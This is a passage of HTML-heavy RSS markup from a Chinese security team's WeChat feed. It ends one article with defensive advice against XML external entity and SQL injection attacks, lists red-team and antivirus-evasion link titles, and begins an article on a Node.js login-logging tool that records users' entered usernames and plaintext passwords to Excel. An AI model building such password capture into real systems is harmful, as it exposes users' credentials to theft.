left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">三、防御建议</span></span></h1><ol style="list-style-type: decimal;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;word-wrap:break-word;word-break:break-all;"><span leaf="">生产环境中禁用或限制WSDL访问（例如，仅允许内网IP访问？wsdl）。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;word-wrap:break-word;word-break:break-all;"><span leaf="">使用严格的XML解析器，禁用DTD、外部实体（resolve_entities=False）。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;word-wrap:break-word;word-break:break-all;"><span leaf="">对所有输入进行严格的校验和净化（白名单）。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;word-wrap:break-word;word-break:break-all;"><span leaf="">使用预编译的参数化查询（防止SQLi）。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;word-wrap:break-word;word-break:break-all;"><span leaf="">实施严格的基于身份验证和授权的访问控制。</span></p></li></ol></div></div></div></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 15px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;z-index: 2;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 2px;max-width: 100%;background: rgb(255, 255, 255);border-radius: 13px;border-width: 1px;border-style: solid;border-color: rgb(45, 133, 224);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 24px;padding-left: 24px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-radius: 11px;border-width: 1px;border-style: dotted;border-color: rgb(45, 133, 224);text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="max-width: 100%;font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(45, 133, 224);line-height: 22px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">往期推荐</span></p></div></div></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 0px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="max-width: 100%;width: 474px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 14px 8px 2px;max-width: 100%;width: 474px;background: rgb(255, 255, 255);border-radius: 5px;border-width: 1px;border-style: solid;border-color: rgb(74, 138, 218);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 3px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;width: 456px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 12px;padding-left: 12px;max-width: 100%;width: 450px;text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247516589&amp;idx=1&amp;sn=107da3b45e88255f240504d033ebde7f&amp;scene=21#wechat_redirect" textvalue="TscanPlus-一款红队自‍动化工具" data-itemshowtype="0" linktype="text" data-linktype="2">TscanPlus-一款红队自动化工具</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499902&amp;idx=1&amp;sn=59cba8d980b4ecb0deefff99edaabd4d&amp;chksm=ce5de21ff92a6b09a8972a0144557b0099e443aa8e018b17151c816fc7f08f3615ecb22617fc&amp;scene=21#wechat_redirect" textvalue="潮影在线免杀平台上线了" data-itemshowtype="0" linktype="text" data-linktype="2">潮影在线免杀平台上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498466&amp;idx=1&amp;sn=085c15679436dedb06a179ca8d47951a&amp;chksm=ce5dd883f92a5195ef74ac517741f6d3da0da40b5501d72016e52cb70344904bb85b8aef65ba&amp;scene=21#wechat_redirect" textvalue="自动化渗透测试工具开发实践" data-itemshowtype="0" linktype="text" data-linktype="2">自动化渗透测试工具开发实践</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247492640&amp;idx=1&amp;sn=43b1991dc5628eab322923083fde8d70&amp;chksm=ce5dc641f92a4f57ffb18e2977644b1f977fcc5e0eccdf10956d3ae4ce70dc95024500631e89&amp;scene=21#wechat_redirect" textvalue="【红蓝对抗】利用CS进行内网横向" data-itemshowtype="0" linktype="text" data-linktype="2">【红蓝对抗】利用CS进行内网横向</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498344&amp;idx=1&amp;sn=3679330363ff6890166b09f6a502f769&amp;chksm=ce5dd809f92a511f6066fcbb12fb5c1dc8c2642e4e2690dad64d76cc6f9247eae356d16f5810&amp;scene=21#wechat_redirect" textvalue="一个Go版(更强大)的TideFinger" data-itemshowtype="0" linktype="text" data-linktype="2">一个Go版(更强大)的TideFinger</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499823&amp;idx=1&amp;sn=065ffeae6bd02fff922cfb12c5a0f4df&amp;chksm=ce5de24ef92a6b58f709260b691e6b36e4a53aac00d3022946302b8e638696ed55c70e13e16f&amp;scene=21#wechat_redirect" textvalue="SRC资产导航监测平台Tsrc上线了" data-itemshowtype="0" linktype="text" data-linktype="2">SRC资产导航监测平台Tsrc上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-size: 14px;text-align: center;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247506056&amp;idx=1&amp;sn=ad6dd23f58f5fd8ce899a1e292f5b685&amp;chksm=ce5dfae9f92a73ff4f14c812436cb5bfecb29db04eada11c409e946d5338c82a92bcaa425736&amp;scene=21#wechat_redirect" textvalue="新潮信息-Tide安全团队2022年度总结" data-itemshowtype="0" linktype="text" data-linktype="2">新潮信息-Tide安全团队2022年度总结</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498965&amp;idx=1&amp;sn=655548831da6808a020ad07294a92e60&amp;chksm=ce5ddeb4f92a57a283d5692c246e54655319ab0d09f6403e354300a2777cda6ae4c787631ab3&amp;scene=21#wechat_redirect" textvalue="记一次实战攻防(打点-Edr-内网-横向-Vcenter)" data-itemshowtype="0" linktype="text" data-linktype="2">记一次实战攻防(打点-Edr-内网-横向-Vcenter)</a></span></p></div></div></div></div></div><div draggable="false" style="margin-bottom: 0px;max-width: 100%;white-space: normal;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;justify-content: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0810810810810811" data-type="gif" data-w="37" style="width: 37px;display: block;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=a96b63a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FrTicZ9Hibb6RWbGNtVfIZbm2rmGO4hQDzQUrLN62vEGlA4fPmib5utUAp9gbQicb6FC82RjsVI5vx7wEc9yAAiaFEoQ%2F640%3Fwx_fmt%3Dgif"/></span></p></div></div><div style="margin-bottom: 0px;max-width: 100%;box-sizing: border-box;white-space: normal;font-size: 16px;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;width: 520.195px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">E</span></p></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">N</span></p></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">D</span></p></div></div></div></div></div></div></div><div draggable="false" data-tools-id="47164" style="max-width: 100%;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;flex-direction: column;align-items: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="padding: 10px 15px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);background-color: rgb(199, 221, 253);color: rgb(0, 0, 70);font-size: 14px;line-height: 14px;font-family: 思源黑体;letter-spacing: 1px;transform: rotate(0deg);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">Tide团队产品及服务</span></strong></p><div style="margin-top: -15px;padding: 35px 15px 20px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队自研平台</span></strong><span leaf="">：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">技术分享方向</span></strong><span leaf="">:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队知识wiki</span></strong><span leaf="">：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队网盘资料</span></strong><span leaf="">：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......</span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=45c6617c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NTA4OTI5NA%3D%3D%26mid%3D2247521950%26idx%3D1%26sn%3Db89f92cd227f707591e7e5cfd2a6878d">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 01 Apr 2026 17:05:00 +0800</pubDate>
    </item>
    <item>
      <title>构建登录日志系统：Node.js + ExcelJS</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247521908&amp;idx=1&amp;sn=58d3c6cc6982b1101056ba4e771f5960</link>
      <description>这是一个可以用来记录登录日志的系统，文章主要用来记录一下大体的实现思路。</description>
      <content:encoded><![CDATA[<p>原创 <span>Komorebi</span> <span>2026-03-12 17:04</span> <span style="display: inline-block;">山东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3069a71f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RWxDqxdzfia5rZO0l2LMWtJnhib1S6Xql2WoI9vjEwamicjMVjyibh1Ob6nVjw2tEszQ8OoZUlsTlnQyQ%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>这是一个可以用来记录登录日志的系统，文章主要用来记录一下大体的实现思路。</p>
  <div data-mpa-template="t" mpa-from-tpl="t" style="margin-bottom: 0px;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 10px;padding-left: 10px;width: 578px;"><div data-mid="" mpa-from-tpl="t" style="width: 558px;display: flex;flex-direction: column;"><div data-mpa-template="t" mpa-from-tpl="t" data-mpa-powered-by="yiban.io" style="margin-bottom: 0px;display: flex;justify-content: center;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 10px;padding-left: 10px;width: 578px;"><div data-mid="" mpa-from-tpl="t" style="width: 558px;display: flex;flex-direction: column;"><p data-mid="" mpa-from-tpl="t" style="margin-bottom: -11px;margin-left: -7px;width: 21px;height: 18px;display: flex;justify-content: center;align-items: center;align-self: flex-start;z-index: 1;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8571428571428571" data-w="42" src="https://wechat2rss.xlab.app/img-proxy/?k=992d3ad3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDuibU3GqmxVmRsdItbBVRKegNHicHQvAHDdZsGpLVU7touSU1AU1twHTfRjG3Vu5aUh0RnPPllfVUhs4qdWF5QYQ%2F640%3Fwx_fmt%3Dpng"/></span></p><div data-mid="" mpa-from-tpl="t" style="width: 558px;background: rgb(255, 145, 1);transform: rotate(-3deg) scale(0.9);"><div data-mid="" mpa-from-tpl="t" style="width: 558px;transform: rotate(3deg) scale(1.1);background: rgb(255, 252, 227);border-width: 1px;border-style: solid;border-color: rgb(246, 128, 31);"><div data-mid="" mpa-from-tpl="t" style="padding: 14px 11px 13px 12px;width: 556px;text-align: left;"><p data-mid="" mpa-is-content="t" style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(62, 62, 62);line-height: 26px;word-break: break-word;"><span leaf="">声明：Tide安全团队原创文章，转载请声明出处！文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途给予盈利等目的，否则后果自行承担！</span></p></div></div></div><p data-mid="" mpa-from-tpl="t" style="margin-top: -45px;margin-right: -5px;margin-bottom: 8px;width: 46px;height: 42px;display: flex;justify-content: center;align-items: center;align-self: flex-end;z-index: 1;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8936170212765957" data-w="94" src="https://wechat2rss.xlab.app/img-proxy/?k=94bb99ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9zYJrD2VibHmqgf4y9Bqh9nDynW5fHvgbgkSGAfRboFPuCGjVoC3qMl6wlFucsx3Y3jt4gibQgZ6LxpoozE0Tdow%2F640%3Fwx_fmt%3Dpng"/></span></p></div></div></div><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">0x01 前言</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这是一个可以用来记录登录日志的系统，文章主要用来记录一下大体的实现思路。</span></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">0x02 项目效果</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">登录日志的功能可以实时记录所有用户的登录信息，包括输入的用户名、密码、来源IP及登录时间；同时后台将日志保存为Excel格式，便于相关人员查看和分析。</span></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: 